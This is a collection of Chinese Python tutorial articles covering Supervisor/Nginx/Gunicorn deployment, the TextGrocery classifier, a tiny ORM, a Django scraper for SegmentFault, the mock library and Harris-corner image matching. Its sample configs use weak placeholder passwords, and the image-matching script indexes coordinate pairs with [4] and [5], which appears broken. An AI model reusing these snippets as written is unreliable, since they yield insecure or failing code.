password=123                          ; should be same as http_password if set
;prompt=mysupervisor                  ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history           ; use readline history if available



现在可以使用 supervsior 启动 gunicorn 啦。运行命令:


supervisord -c supervisor.conf



浏览器访问 http://127.0.0.1:9001 可以得到 supervisor 的 web 管理界面，访问 http://127.0.0.1:8000 可以看见 gunicorn 启动的返回的页面。


配置 Nginx


前面我们已经在系统环境下安装了 Nginx, 安装好的 Nginx 二进制文件放在 /usr/sbin/ 文件夹下，接下来使用 Supervisor 来管理 Nginx。这里需要注意一个问题，权限问题。Nginx 是 sudo 的方式安装，启动的适合也是 root 用户，那么我们现在也需要用 root 用户启动 supervisor。在 supervisor.conf 下添加配置文件：


[program:nginx]
command=/usr/sbin/nginx
startsecs=0
stopwaitsecs=0
autostart=false
autorestart=false
stdout_logfile=/home/wang/supervisor/log/nginx.log
stderr_logfile=/home/wang/supervisor/log/nginx.err 



好了，都配置完之后，启动 supervisor：


supervisord -c supervisor.conf



访问页面，也可以用 ab 进行压力测试：


ab -c 100 -n 100 http://127.0.0.1:8000/qw/1



-c 用于指定压力测试的并发数, -n 用于指定压力测试总共的执行次数。


安装 Python 探针


搭建好了 web，想实时监控应用数据，有什么好的工具，用 OneAPM 的 Python 探针试试，

首先也是安装 Python 探针：


pip install -i http://pypi.oneapm.com/simple --upgrade blueware



根据 License Key 生成配置文件：


blueware-admin generate-config (License Key) = blueware.ini



由于是在虚拟环境下，所以要特别注意路径，修改 supervisor.conf 里面两项：


[program:myapp]
command = /home/wang/supervisor/super/bin/blueware-admin run-program /home/wang/supervisor/super/bin/gunicorn -w 4 -b 0.0.0.0:8000 myapp:app
environment = BLUEWARE_CONFIG_FILE=blueware.ini



重启应用


supervisorctl    # 进入命令行
supervisor>  reload    # 重新加载



向上面一样访问页面，也可以用 ab 进行压力测试

几分钟后有下图，可以看到页面加载时间，web 事物，页面吞吐量，其中后面是设置自定义事物「Business Transaction」。







参考文章



	How To Serve Flask Applications with uWSGI and Nginx on Ubuntu 14.04


	OneAPM Python 探针安装


	python web 部署：nginx + gunicorn + supervisor + flask 部署笔记


	Tornado+nginx+supervisor 在生产环境上部署


	supervisor + Tornado + Nginx 使用详解




本文系 OneAPM 工程师编译整理。想阅读更多技术文章，请访问 OneAPM 官方博客。


 TextGrocery，更好用的文本分类Python库

作者：2shou

来源： TextGrocery，更好用的文本分类Python库



                    
古龙说，无论什么东西，最好的都只有一种。经历半年的文本分类实践，我们基本已断定，最好的文本分类算法就是SVM -- 支持向量机。

但是纵然知道了天机，新手做文本分类仍然需要学习不少东西，例如算法原理、分词、向量化等等。如果用上scikit-learn这样的庞然大物，更有种高射炮打蚊子的异样感。

有没有可能把最好的文本分类算法，包装成一个超级简单的工具提供给大家？

这是我开发TextGrocery的初衷。


设计原则


幸好，我不是没有参照系。LibShortText打下了一个很好的基础，不仅提供了足够简单的API，而且背后的原理也有扎实的实验数据支撑（不过滤停用词，不过滤词性，使用线性核）。当然，LibShortText也有显著的缺陷：



	不支持中文分词，这导致其在中文语料上的表现一塌糊涂

	Analyzer模块不仅多余，而且输出全部为无格式文本，不可爱

	如果不是专业的算法人员，默认参数永远是最好的选择，所以参数的自定义并不是很必要

	中间数据的保存全部以文件格式，每次的训练和测试留下一些陌生文件，而且小规模的训练和测试用列表对象会更合适

	代码很不Pythonic，也不支持Pypi的简便安装方式



总而言之，LibShorText虽然有引以为傲的技术，但对技术的使用者来说是不友好的。而TextGrocery希望把LibShortText变得更友好一些。


TextGrocery，是一个怎样的杂货铺？



	引入结巴分词作为内置的默认分词器

	精简LibShortText的代码，去掉Analyzer和参数自定义模块，修复bug，改善PEP8

	训练和测试的文本都支持列表传入

	提供Pypi的安装方式



示例代码


python>>> from tgrocery import Grocery
# 新开张一个杂货铺，别忘了取名！
>>> grocery = Grocery('sample')
# 训练文本可以用列表传入
>>> train_src = [
    ('education', '名师指导托福语法技巧：名词的复数形式'),
    ('education', '中国高考成绩海外认可 是“狼来了”吗？'),
    ('sports', '图文：法网孟菲尔斯苦战进16强 孟菲尔斯怒吼'),
    ('sports', '四川丹棱举行全国长距登山挑战赛 近万人参与')
]
>>> grocery.train(train_src)
# 也可以用文件传入
>>> grocery.train('train_ch.txt')
# 保存模型
>>> grocery.save()
# 加载模型（名字和保存的一样）
>>> new_grocery = Grocery('sample')
>>> new_grocery.load()
# 预测
>>> new_grocery.predict('考生必读：新托福写作考试评分标准')
education
# 测试
>>> test_src = [
    ('education', '福建春季公务员考试报名18日截止 2月6日考试'),
    ('sports', '意甲首轮补赛交战记录:米兰客场8战不败国米10年连胜'),
]
>>> new_grocery.test(test_src)
# 准确率
0.5
# 同样可以用文本传入
>>> new_grocery.test('test_ch.txt')
# 自定义分词器
>>> custom_grocery = Grocery('custom', custom_tokenize=list)



安装


pip install tgrocery



让文本分类更爽一些吧！


GitHub传送门 --> TextGrocery


未完成



	训练时仍然要耗费写入.svm的文件再读取的额外I/O时间，下一步希望改成直接通过内存传递

	LibLinear的输出实际上可以看成一个dict，包含一个样本对所有类别的决策变量，目前仅把值最高的类别取了出来，也许有朋友会想用这个决策变量做一些更有趣的事情。

	0.2版本会提供过程数据和结果数据的统计工具



盗火者



  普罗米修斯是希腊神话中的一个人物，他从太阳神阿波罗那里盗走火种送给人类，给人类带来的光明，他因此而受到宙斯的处罚，被绑在高加索山，每日忍受风吹日晒和鹫鹰啄食。




希望会有志同道合的同学加入到「盗火者」的行列，一起来让机器学习更简单！



  来自：建造者说




 100 行代码还你一个 Python ORM

作者：2shou

来源： 100 行代码还你一个 Python ORM



                    
工作中难免有遇到 MySQL 欧巴的时候，奈何我是个记性不大好的人，临笔忘词，只能祭出谷歌大法，于是想着造个小破轮子，优雅地解决 Python 连接 MySQL 的问题。


这个轮子一定不要像 sqlalchemy 那么复杂，也不需要像 Django 的 ORM 那么丰富，就像一碗白米饭，管你吃饱，还为你解决三大问题：



	轻松连接 MySQL

	数据结构到模型的映射

	满足增改查的基本功能，避免手写SQL



创建连接


pythonfrom data_handler import Database

db_config = {
    'host': 'localhost',
    'port': 3306,
    'user': 'root',
    'password': '123456',
    'database': 'test'
}
Database.connect(**db_config)



定义模型


pythonfrom data_handler import Model, Field

class TestModel(Model):
  db_table = 'test'
  a = Field()
  b = Field()



插入


pythontest = TestModel()
test.a = 5
test.b = 'john'
test.save()



查询


pythonfor r in TestModel.where(a=5, b='john').select():
  print r.a
  print r.b



计数


pythonprint TestModel.where(a=5, b='john').count()



更新


pythonTestModel.where(a=5, b='john').update(a=1)



复杂查询请使用raw sql


pythonfrom data_handler import execute_raw_sql

results = execute_raw_sql('select b, count(*) from test where b = %s group by b;', (1,))
for val, cnt in results:
  print val, cnt



代码放GitHub了 -->  QuickORM



  来自：建造者说




 Python爬虫建站入门手记——从零开始建立采集站点（三：采集入库）

作者：eric

来源： Python爬虫建站入门手记——从零开始建立采集站点（三：采集入库）



                    
上回，我已经大概把爬虫写出来了。

我写了一个内容爬虫，一个爬取tag里面内容链接的爬虫

其实还差一个，就是收集一共有哪些tag的爬虫。但是这里先不说这个问题，因为我上次忘了 这次又不想弄。。

还有个原因：如果实际采集的话，直接用http://segmentfault.com/questions/newest?page=1这个链接 获取所有问题，挨个爬就行。


进入正题


第三部分，采集入库。


3.1 定义数据库（or model or schema）


为了入库，我需要在Django定义一个数据库的结构。（不说nosql和mongodb（也是一个nosql但是很像关系型）的事）

还记得那个名叫web的app么，里面有个叫models.py的文件，我现在就来编辑它。


bashvim ~/python_spider/web/models.py



内容如下:


python# -*- coding: utf-8 -*-
from django.db import models

# Create your models here.


class Tag(models.Model):
    title = models.CharField(max_length=30)

    def __unicode__(self):
        return self.title


class Question(models.Model):
    title = models.CharField(max_length=255)
    content = models.TextField()
    tags = models.ManyToManyField(Tag, related_name='questions')
    sf_id = models.CharField(max_length=16, default='0')　＃　加上这个可以记住问题在sf的位置，方便以后更新或者其他操作
    update_date = models.DateTimeField(auto_now=True)

    def __unicode__(self):
        return self.title


class Answer(models.Model):
    question = models.ForeignKey(Question, related_name='answers')
    content = models.TextField()

    def __unicode__(self):
        return 'To question %s' % self.question.title



都很直白，关于各个field可以看看 Django 的文档。


然后，我需要告诉我的python_spider项目，在运行的时候加载web这个app（项目不会自动加载里面的app）。


bashvim ~/python_spider/python_spider/settings.py



在INSTALLED_APPS里面加入web:


pythonINSTALLED_APPS = (
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'web',
)



下面，就可以用django自动生成数据库schema了


bashcd ~/python_spider
python manage.py makemigrations
python manage.py migrate



现在，我~/python_spider目录就产生了一个db.sqlite3文件，这是我的数据库。

把玩一番我的模型


python>>> from web.models import Answer, Question, Tag
>>> tag = Tag()
>>> tag.title = u'测试标签'
>>> tag.save()
>>> tag
<Tag: 测试标签>
>>> question = Question(title=u'测试提问', content=u'提问内容')
>>> question.save()
>>> question.tags.add(tag)
>>> question.save()
>>> answer = Answer(content=u'回答内容', question=question)
>>> answer.save()
>>> tag.questions.all() # 根据tag找question
[<Question: 测试提问>]
>>> question.tags.all() # 获取question的tags
[<Tag: 测试标签>]
>>> question.answers.all() # 获取问题的答案
[<Answer: To question 测试提问>]



以上操作结果正常，说明定义的models是可用的。


3.2 入库


接下来，我需要把采集的信息入库，说白了，就是把我自己蜘蛛的信息利用django的ORM存到django连接的数据库里面，方便以后再用Django读取用于做站。


入库的方法太多了，这里随便写一种，就是在web app里面建立一个spider.py, 里面定义两个蜘蛛，继承之前自己写的蜘蛛，再添加入库方法。


bashvim ~/python_spider/web/spider.py



代码如下：


python# -*- coding: utf-8 -*-
from sfspider import spider
from web.models import Answer, Question, Tag


class ContentSpider(spider.SegmentfaultQuestionSpider):

    def save(self): # 添加save()方法
        sf_id = self.url.split('/')[-1] # 1
        tags = [Tag.objects.get_or_create(title=tag_title)[0] for tag_title in self.tags]　＃ 2
        question, created = Question.objects.get_or_create(
            sf_id=sf_id,
            defaults={'title':self.title, 'content':self.content}
        ) # 3
        question.tags.add(*tags) # 4
        question.save()
        for answer in self.answers:
            Answer.objects.get_or_create(content=answer, question=question)
        return question, created


class TagSpider(spider.SegmentfaultTagSpider):

    def crawl(self): # 采集当前分页
        sf_ids = [url.split('/')[-1] for url in self.questions]
        for sf_id in sf_ids:
            question, created = ContentSpider(sf_id).save()

    def crawl_all_pages(self):
        while True:
            print u'正在抓取TAG:%s, 分页:%s' % (self.tag_name, self.page) # 5
            self.crawl()
            if not self.has_next_page:
                break
            else:
                self.next_page()




  
	这个地方写得很笨，之前该在SegmentfaultQuestionSpider加上这个属性。

  	创建或者获取该提问的tags

  	创建或者获取提问，采用sf_id来避免重复

  	把tags都添加到提问，这里用*是因为这个方法原本的参数是(tag1, tag2, tag3)。但是我们的tags是个列表

  	测试的时候方便看看进度

  




然后，测试下我们的入库脚本


bashpython manage.py shell



python>>> from web.spider import TagSpider
>>> t = TagSpider(u'微信')
>>> t.crawl_all_pages()
正在抓取TAG:微信, 分页:1
正在抓取TAG:微信, 分页:2
正在抓取TAG:微信, 分页:3
KeyboardInterrupt # 用control-c中断运行，测试一下就行:)
>>> from web.models import Tag, Question
>>> Question.objects.all()
[<Question: 测试提问>, <Question: 微信支付获取prepayid，返回签名不匹配，>, <Question: 微信js怎么获取openID的>, <Question: 微信支付时加入attach参数提示签名错误>, <Question: 微信支付JSAPI调用返回fail_invalid_appid>, <Question: 微信消息连接打开  和  扫码打开连接有什么区别>, <Question: django做微信开发后台时无法返回response>, <Question: 微信端内置浏览器对canvas的支持有问题>, <Question: 分享到微信朋友圈的网页为什么点开直接跳至页尾？>, <Question: 微信支付开发：发起微信支付的时候，报错：invalid signature>, <Question: 前端加密代码有什么好办法不被破解>, <Question: 有没有桌面移动一体化网站发布方案,有市场吗?>, <Question: 微信如何获取用户的头像>, <Question: 重新设置微信自定义菜单 手机端没有显示该菜单>, <Question: 如何在用户输入关键字时自动回复图片，一张整体图。>, <Question: 手机图片上传是倒着的>, <Question: 微信内网页上传图片问题>, <Question: 如何转码微信多媒体下载接口的音频文件？>, <Question: 微信开放平台创建应用时，不能上传应用图片>, <Question: 微信页面中，怎么打开已安装的app？>, '...(remaining elements truncated)...']
>>> Question.objects.get(pk=5).tags.all() # 数据库中id=5的question的tags
[<Tag: 微信>, <Tag: 微信公众平台>, <Tag: 微信js-sdk>, <Tag: openid>]



3.3 设置django.contrib.admin来查看和编辑内容


为了更直观的观察我采集的数据，我可以利用django自带的admin

编辑文件


bashvim ~/python_spider/web/admin.py



pythonfrom django.contrib import admin
from web.models import Tag, Question, Answer

admin.site.register(Tag)
admin.site.register(Question)
admin.site.register(Answer)



然后创建超级用户


bashpython manage.py createsuperuser # 根据提示创建



启动测试服务器


bashpython manage.py runserver 0.0.0.0:80 # 我这是在runabove上，本地直接manage.py runserver



然后，我访问http://192.99.71.91/admin/登录刚刚创建的账号，就能对内容进行查看和编辑了



OK, 今天的内容到此，

下一篇，是编写django的view，套用简单的模板来建站。


 Python Mock的入门

作者：diabloneo

来源： Python Mock的入门



                    
Mock是什么

Mock这个词在英语中有模拟的这个意思，因此我们可以猜测出这个库的主要功能是模拟一些东西。准确的说，Mock是Python中一个用于支持单元测试的库，它的主要功能是使用mock对象替代掉指定的Python对象，以达到模拟对象的行为。简单的说，mock库用于如下的场景：

假设你开发的项目叫a，里面包含了一个模块b，模块b中的一个函数c（也就是a.b.c）在工作的时候需要调用发送请求给特定的服务器来得到一个JSON返回值，然后根据这个返回值来做处理。如果要为a.b.c函数写一个单元测试，该如何做？



一个简单的办法是搭建一个测试的服务器，在单元测试的时候，让a.b.c函数和这个测试服务器交互。但是这种做法有两个问题：


	测试服务器可能很不好搭建，或者搭建效率很低。


	你搭建的测试服务器可能无法返回所有可能的值，或者需要大量的工作才能达到这个目的。




那么如何在没有测试服务器的情况下进行上面这种情况的单元测试呢？Mock模块就是答案。上面已经说过了，mock模块可以替换Python对象。我们假设a.b.c的代码如下：

import requests

def c(url):
    resp = requests.get(url)
    # further process with resp

如果利用mock模块，那么就可以达到这样的效果：使用一个mock对象替换掉上面的requests.get函数，然后执行函数c时，c调用requests.get的返回值就能够由我们的mock对象来决定，而不需要服务器的参与。简单的说，就是我们用一个mock对象替换掉c函数和服务器交互的过程。你一定很好奇这个功能是如何实现的，这个是mock模块内部的实现机制，不在本文的讨论范围。本文主要讨论如何用mock模块来解决上面提到的这种单元测试场景。

Mock的安装和导入

在Python 3.3以前的版本中，需要另外安装mock模块，可以使用pip命令来安装：

$ sudo pip install mock

然后在代码中就可以直接import进来：

import mock

从Python 3.3开始，mock模块已经被合并到标准库中，被命名为unittest.mock，可以直接import进来使用：

from unittest import mock

Mock对象

基本用法

Mock对象是mock模块中最重要的概念。Mock对象就是mock模块中的一个类的实例，这个类的实例可以用来替换其他的Python对象，来达到模拟的效果。Mock类的定义如下：

class Mock(spec=None, side_effect=None, return_value=DEFAULT, wraps=None, name=None, spec_set=None, **kwargs)

这里给出这个定义只是要说明下Mock对象其实就是个Python类而已，当然，它内部的实现是很巧妙的，有兴趣的可以去看mock模块的代码。

Mock对象的一般用法是这样的：


	找到你要替换的对象，这个对象可以是一个类，或者是一个函数，或者是一个类实例。


	然后实例化Mock类得到一个mock对象，并且设置这个mock对象的行为，比如被调用的时候返回什么值，被访问成员的时候返回什么值等。


	使用这个mock对象替换掉我们想替换的对象，也就是步骤1中确定的对象。


	之后就可以开始写测试代码，这个时候我们可以保证我们替换掉的对象在测试用例执行的过程中行为和我们预设的一样。




举个例子来说：我们有一个简单的客户端实现，用来访问一个URL，当访问正常时，需要返回状态码200，不正常时，需要返回状态码404。首先，我们的客户端代码实现如下：

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests


def send_request(url):
    r = requests.get(url)
    return r.status_code


def visit_ustack():
    return send_request('http://www.ustack.com')

外部模块调用visit_ustack()来访问UnitedStack的官网。下面我们使用mock对象在单元测试中分别测试访问正常和访问不正常的情况。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import unittest

import mock

import client


class TestClient(unittest.TestCase):

    def test_success_request(self):
        success_send = mock.Mock(return_value='200')
        client.send_request = success_send
        self.assertEqual(client.visit_ustack(), '200')

    def test_fail_request(self):
        fail_send = mock.Mock(return_value='404')
        client.send_request = fail_send
        self.assertEqual(client.visit_ustack(), '404')


	找到要替换的对象：我们需要测试的是visit_ustack这个函数，那么我们需要替换掉send_request这个函数。


	实例化Mock类得到一个mock对象，并且设置这个mock对象的行为。在成功测试中，我们设置mock对象的返回值为字符串“200”，在失败测试中，我们设置mock对象的返回值为字符串"404"。


	使用这个mock对象替换掉我们想替换的对象。我们替换掉了client.send_request


	写测试代码。我们调用client.visit_ustack()，并且期望它的返回值和我们预设的一样。




上面这个就是使用mock对象的基本步骤了。在上面的例子中我们替换了自己写的模块的对象，其实也可以替换标准库和第三方模块的对象，方法是一样的：先import进来，然后替换掉指定的对象就可以了。

稍微高级点的用法

class Mock的参数

上面讲的是mock对象最基本的用法。下面来看看mock对象的稍微高级点的用法（并不是很高级啊，最完整最高级的直接去看mock的文档即可，后面给出）。

先来看看Mock这个类的参数，在上面看到的类定义中，我们知道它有好几个参数，这里介绍最主要的几个：


	name: 这个是用来命名一个mock对象，只是起到标识作用，当你print一个mock对象的时候，可以看到它的name。


	return_value: 这个我们刚才使用过了，这个字段可以指定一个值（或者对象），当mock对象被调用时，如果side_effect函数返回的是DEFAULT，则对mock对象的调用会返回return_value指定的值。


	side_effect: 这个参数指向一个可调用对象，一般就是函数。当mock对象被调用时，如果该函数返回值不是DEFAULT时，那么以该函数的返回值作为mock对象调用的返回值。




其他的参数请参考官方文档。

mock对象的自动创建

当访问一个mock对象中不存在的属性时，mock会自动建立一个子mock对象，并且把正在访问的属性指向它，这个功能对于实现多级属性的mock很方便。

client = mock.Mock()
client.v2_client.get.return_value = '200'

这个时候，你就得到了一个mock过的client实例，调用该实例的v2_client.get()方法会得到的返回值是"200"。

从上面的例子中还可以看到，指定mock对象的return_value还可以使用属性赋值的方法。

对方法调用进行检查

mock对象有一些方法可以用来检查该对象是否被调用过、被调用时的参数如何、被调用了几次等。实现这些功能可以调用mock对象的方法，具体的可以查看mock的文档。这里我们举个例子。

还是使用上面的代码，这次我们要检查visit_ustack()函数调用send_request()函数时，传递的参数类型是否正确。我们可以像下面这样使用mock对象。

class TestClient(unittest.TestCase):

    def test_call_send_request_with_right_arguments(self):
        client.send_request = mock.Mock()
        client.visit_ustack()
        self.assertEqual(client.send_request.called, True)
        call_args = client.send_request.call_args
        self.assertIsInstance(call_args[0][0], str)


Mock对象的called属性表示该mock对象是否被调用过。

Mock对象的call_args表示该mock对象被调用的tuple，tuple的每个成员都是一个mock.call对象。mock.call这个对象代表了一次对mock对象的调用，其内容是一个tuple，含有两个元素，第一个元素是调用mock对象时的位置参数（*args），第二个元素是调用mock对象时的关键字参数（**kwargs）。

现在来分析下上面的用例，我们要检查的项目有两个：


	visit_ustack()调用了send_request()


	调用的参数是一个字符串




patch和patch.object

在了解了mock对象之后，我们来看两个方便测试的函数：patch和patch.object。这两个函数都会返回一个mock内部的类实例，这个类是class _patch。返回的这个类实例既可以作为函数的装饰器，也可以作为类的装饰器，也可以作为上下文管理器。使用patch或者patch.object的目的是为了控制mock的范围，意思就是在一个函数范围内，或者一个类的范围内，或者with语句的范围内mock掉一个对象。我们看个代码例子即可：

class TestClient(unittest.TestCase):

    def test_success_request(self):
        status_code = '200'
        success_send = mock.Mock(return_value=status_code)
        with mock.patch('client.send_request', success_send):
            from client import visit_ustack
            self.assertEqual(visit_ustack(), status_code)

    def test_fail_request(self):
        status_code = '404'
        fail_send = mock.Mock(return_value=status_code)
        with mock.patch('client.send_request', fail_send):
            from client import visit_ustack
            self.assertEqual(visit_ustack(), status_code)

这个测试类和我们刚才写的第一个测试类一样，包含两个测试，只不过这次不是显示创建一个mock对象并且进行替换，而是使用了patch函数（作为上下文管理器使用）。

patch.object和patch的效果是一样的，只不过用法有点不同。举例来说，同样是上面这个例子，换成patch.object的话是这样的：

    def test_fail_request(self):
        status_code = '404'
        fail_send = mock.Mock(return_value=status_code)
        with mock.patch.object(client, 'send_request', fail_send):
            from client import visit_ustack
            self.assertEqual(visit_ustack(), status_code)

就是替换掉一个对象的指定名称的属性，用法和setattr类似。

如何学习使用mock？

你肯定很奇怪，本文不就是教人使用mock的么？其实不是的，我发现自己在学习mock的过程中遇到的主要困难是不清楚mock能做什么，而不是mock对象到底有哪些函数。因此写这篇文章的主要目的是为了说明mock能做什么。

当你知道了mock能做什么之后，要如何学习并掌握mock呢？最好的方式就是查看阅读官方文档，并在自己的单元测试中使用。

最后，学习mock技能你应该要能够感受到一种控制的快感，就是你能享受控制外部服务的快乐。当你感受到这种快感的时候，你的mock应该就达到熟练使用的水平了。

官方文档

Python 2.7

mock还未加入标准库。

http://www.voidspace.org.uk/python/mock/index.html

Python 3.4

mock已经加入了标准库。

https://docs.python.org/3.4/library/unittest.mock-examples.html
https://docs.python.org/3.4/library/unittest.mock.html
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现在考虑一个全景图拼接的应用场景，假设现有两张图片需要拼接成一张全景图，这两张图片是通过相机右转一定角度拍摄出来的，两张图片有部分取景是重叠的。如何实现拼接？当然这是一个不简单的问题，我们现在只考虑实现拼接目标的第一步：找出图像中重叠的内容，以及分别在两张图片中的位置。

如下图所示，左右是两张稍有不同的图片，但都包含了广州塔，左图红色框中标出了两个感兴趣的点，我期望找出它们在右图的对应位置（即对应点）。


首先，要确定检测哪些点，即哪些点是我们感兴趣的？这可以使用Harris角检测（见上篇笔记）方法来得到图像的角点集合，然后通过设置合适的阈值和坐标范围来找出我们感兴趣的点。有了两个图像的兴趣点集后，又如何能计算出它们的对应关系呢？这就需要解决两个问题：


	兴趣点如何描述


	兴趣点之间的对应关系如何计算




兴趣点描述

兴趣点，也即用Harris角检测出来的结果，它只有坐标和像素值，只有这些信息不足以用于匹配，无法从另一张图像中查找是否包含这个点。所以需要增加点的表征信息，一种方法是使用围绕点周围一小块的图像来描述这个点，如采用上图中所标记的方式，即：以兴趣点为中心划出一个小矩形，将区域内所有像素值以一向量进行存储，用这个向量来描述这个兴趣点，那么此向量称为兴趣点描述符（interest point descriptor，下简称IPD）。

下面实现一个函数，为所有角点生成IPD：

def get_desc(image, filtered_coords, wid = 5):
    #image为原图像，filtered_coords为角点的坐标，wid为矩形的“半径”
    desc = []
    for coords in filtered_coords:
        ipd = image[coords[0] - wid : coords[0] + wid + 1,
                coords[1] - wid : coords[1] + wid + 1].flatten()

        if ipd.shape[0] > 0:
            desc.append(ipd)

    return desc

兴趣点相关度

如何确定左图中的某个兴趣点，对应右图中的某个兴趣点？对应关系，不一定完全是等价关系，即两个点虽然是对应关系，但它们对应的IPD并不完全相同。因为我们这里讨论的找对应点的方法，允许两张图像在亮度、缩放上有一定的区别。所以两个点的对应关系不能用IPD等价来匹配，而是要采用相似度或相关度来计算，相关度越高，它们越可能是对应关系。而相关度，可以使用现成的数学模型——皮尔逊相关系数（Pearson's r，也被称为皮尔森相关系数r,下简称r系数）来表示。所以，计算两个点的对应关系就转化为计算两个IPD的r系数。

r系数被广泛用于度量两个变量之间的相关（线性相关）程度，它是两个变量之间的协方差和标准差的商，一种等价表达式为标准分的均值：
r = 

I1和I2为样本集，μ1为I1的平均值，μ2为I2的平均值，σ1为I1的标准差，σ2为I2的标准差，上式计算结果即为r系数，范围为-1到1。 r系数为正且越大，表示I1和I2同时趋向于它们各自的平均值，变化方向一致，相关度越高。系数为0意味着两个变量之间没有线性关系。

把两个点对应的IPD代入上述公式的I，可得到两个点的相关程度。所以找两个图像之间兴趣点的对应关系，计算步骤是：


	分别对两个图像应用Harris角检测，得到图像1的兴趣点集1，和图像2的兴趣点集2


	设定IPD的矩形大小，计算所有兴趣点的IPD，得到IPD_SET_1和IPD_SET_2两个集合


	设定r系数的阈值，如0.5，即相关度在[0.5,1]之间我们才考虑，那么，对IPD_SET_1中指定的某个IPD，计算它与IPD_SET_2中所有IPD的r系数，若最大的r系数落在[0.5,1]区间，则其对应的IPD是最相关的。




下面实现一个IPD匹配函数，传入两个IPD集合，找出所有r系数符合给定阈值的(即认为有对应关系的)IPD：

def match(desc1, desc2, threshold = 0.5):
    n = len(desc1[0])
    count1 = len(desc1)
    count2 = len(desc2)

    d = -np.ones((count1, count2)) #每个图1的IPD，其对应的力2的IPD下标初始化为-1
    for i in range(count1):
        ipd1 = desc1[i]
        d1 = (ipd1 - np.mean(ipd1)) / np.std(ipd1)
        for j in range(count2):
            ipd2 = desc2[j]
            if ipd1.shape[0] == ipd2.shape[0]: #忽略位于边缘的IPD
                d2 = (ipd2 - np.mean(ipd2)) / np.std(ipd2)
                r = np.sum(d1 * d2) / (n - 1)
                if r > threshold:
                    d[i, j] = r #i为图像1角点坐标, j为符合阈值的图像2角点坐标

    ndx = np.argsort(-d)  #将d的列降序排列，第0列即为r系数最大的
    match_index_array = ndx[:, 0] #只保留第0列
    return match_index_array

上述的函数为图1的每个IPD，从右边找到最佳的匹配（如果存在），但这还不够，因为这不代表对右边的这个IPD来说，左边的的这个IPD是它的最佳匹配，所以，如果使用两向匹配，互相认为是最佳的，我们才认为是对应关系，这样效果会更好一些，双向匹配的函数实现：

def match_twosided(desc1, desc2, threshold = 0.5):
    m_12 = match(desc1, desc2, threshold)
    m_21 = match(desc2, desc1, threshold)

    for i,j in enumerate(m_12):
        if j >= 0 and m_21[j] != i:
            m_12[i] = -1  #非双向匹配的，置为-1，上层应该忽略之

    return m_12

例子

下面代码使用以上的两向匹配方法找出两张图像的对应点，并用白色线连接起来，看一下效果，两张图像是并排显示的：


从图中可以看出，两个图像中的广州塔上的关键角点基本能找到对应的位置，但图像的底部即建筑物的角点，与右图的建筑物连接起来，即使它们不是相同的建筑物，这是因为这些角点看起来很像，准确点讲，相关度（r系数）很高，所以被认为是对应点。

从这个例子也可以看出，要准确的找到对象在图像间的对应点，还需要考虑一些因素，来使效果更佳：


	为兴趣点定义一个范围，比如上面例子，如果只关注塔尖的兴趣点，得出的效果令人满意


	在寻找对应关系时，可限定对应点的y坐标的距离不能超过一定范围（如50个像素，根据实际应用而定），这样可以有效排除一些虽然r系数高，但事实上不对应的点。




代码如下，注意点的疏密可以通过参数微调：

from PIL import Image
import matplotlib.pyplot as plt
import numpy as np
from scipy.ndimage import filters
from skimage.feature import corner_peaks

def harris_eps(im, sigma=3): #harris角检测，见上个笔记
    imx = np.zeros(im.shape)
    filters.gaussian_filter(im, (sigma,sigma), (0,1), imx)
    imy = np.zeros(im.shape)
    filters.gaussian_filter(im, (sigma,sigma), (1,0), imy)
    Wxx = filters.gaussian_filter(imx*imx,sigma)
    Wxy = filters.gaussian_filter(imx*imy,sigma)
    Wyy = filters.gaussian_filter(imy*imy,sigma)
    Wdet = Wxx*Wyy - Wxy**2
    Wtr = Wxx + Wyy
    return Wdet * 2 / (Wtr + 1e-06)

# def get_desc(image, filtered_coords, wid = 5):
# 省略，见上文

# def match_twosided(desc1, desc2, threshold = 0.5):
# 省略，见上文

im1 = np.array(Image.open('tower-left.jpg').convert('L'))
im2 = np.array(Image.open('tower-right.jpg').convert('L'))

coords_1 = corner_peaks(harris_eps(im1, sigma=1), min_distance=3, threshold_abs=0, threshold_rel=0.1)
coords_2 = corner_peaks(harris_eps(im2, sigma=1), min_distance=3, threshold_abs=0, threshold_rel=0.1)

desc1 = get_desc(im1, coords_1, wid=6)
desc2 = get_desc(im2, coords_2, wid=6)

match_index_array = match_twosided(desc1, desc2, threshold=0.5)

im3 = np.concatenate((im1, im2), axis=1) #将两个图像左右合并成一个，以便显示
plt.gray()
plt.imshow(im3)

for ipd_index_1,ipd_index_2 in enumerate(match_index_array):
    if ipd_index_2 != -1:
        x = [coords_1[ipd_index_1][4], coords_2[ipd_index_2][5] + im1.shape[1]]
        y = [coords_1[ipd_index_1][0], coords_2[ipd_index_2][0]]
        if np.abs(y[0] - y[1]) < 50: #这里限制了对应点之间的y坐标距离
            plt.plot(x, y, 'w', alpha=0.5) #连接两个对应点

plt.plot(coords_1[:, 1], coords_1[:, 0], '+r', markersize=5) #画图1角点坐标
plt.plot(coords_2[:, 1] + im1.shape[1], coords_2[:, 0], '+r', markersize=5)  #画图2角点坐标
plt.axis('off')
plt.show()

小结

从实例中可以看到，本文使用的描述点的和匹配的方法，存在误配的情况，矩形大小的设置也会影响匹配的结果，而且它也不适用于在图像被旋转和缩放的情况下使用，近年，关于这方面的研究也在不断取得进步，下一笔记将介绍一种称为尺度不变特征转换(Scale-invariant feature transform 或 SIFT)的算法，此算法应用非常广。

你还可以查看我的其它笔记

参考资料

wiki 皮尔逊积矩相关系数
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Python 代码如散文





作为一门计算机语言来说，Python会有下面的特点。



	语言学习起来容易

	解决生活中的实际问题

	支持多学科



我们可以和其他不是脚本语言的语言进行一个简单的对比，如C，你需要去编译去运行，有时候还需要解决跨平台问题，本来你是在你的Windows上运行得好好的，但是有一天你换了一个Mac电脑的时候，问题变得很棘手，你甚至不知道怎么去解决问题。我没有用过MFC，听说很方便，但是在其他平台下就没有一个好的解决方案。这里可能跑得有点远，但是不同的用户可能在不同的平台上，这也就是脚本语言的优势所在了。


代码与散文


你可能听过，也可能了解过，不过在这里我们可能不会去讲述那些基础的语法的东西，我们想说的是代码格式的重要性，在html中你可以这样去写你的代码


html<html><head><title>This is a Title
</title></head><body><div class="content">
<p>flakjfaklfjalfa</p></div>
</body></html>



又或者是js的minify，它可能会使你的代码看起来像是这样的:


javascriptfunction NolTracker(b,a){this.pvar=b;this.mergeFeatures(a)}



可能的是如果是python的话，你可能会遇到下面的问题。。


bashFile "steps.py", line 10
   try:
   ^
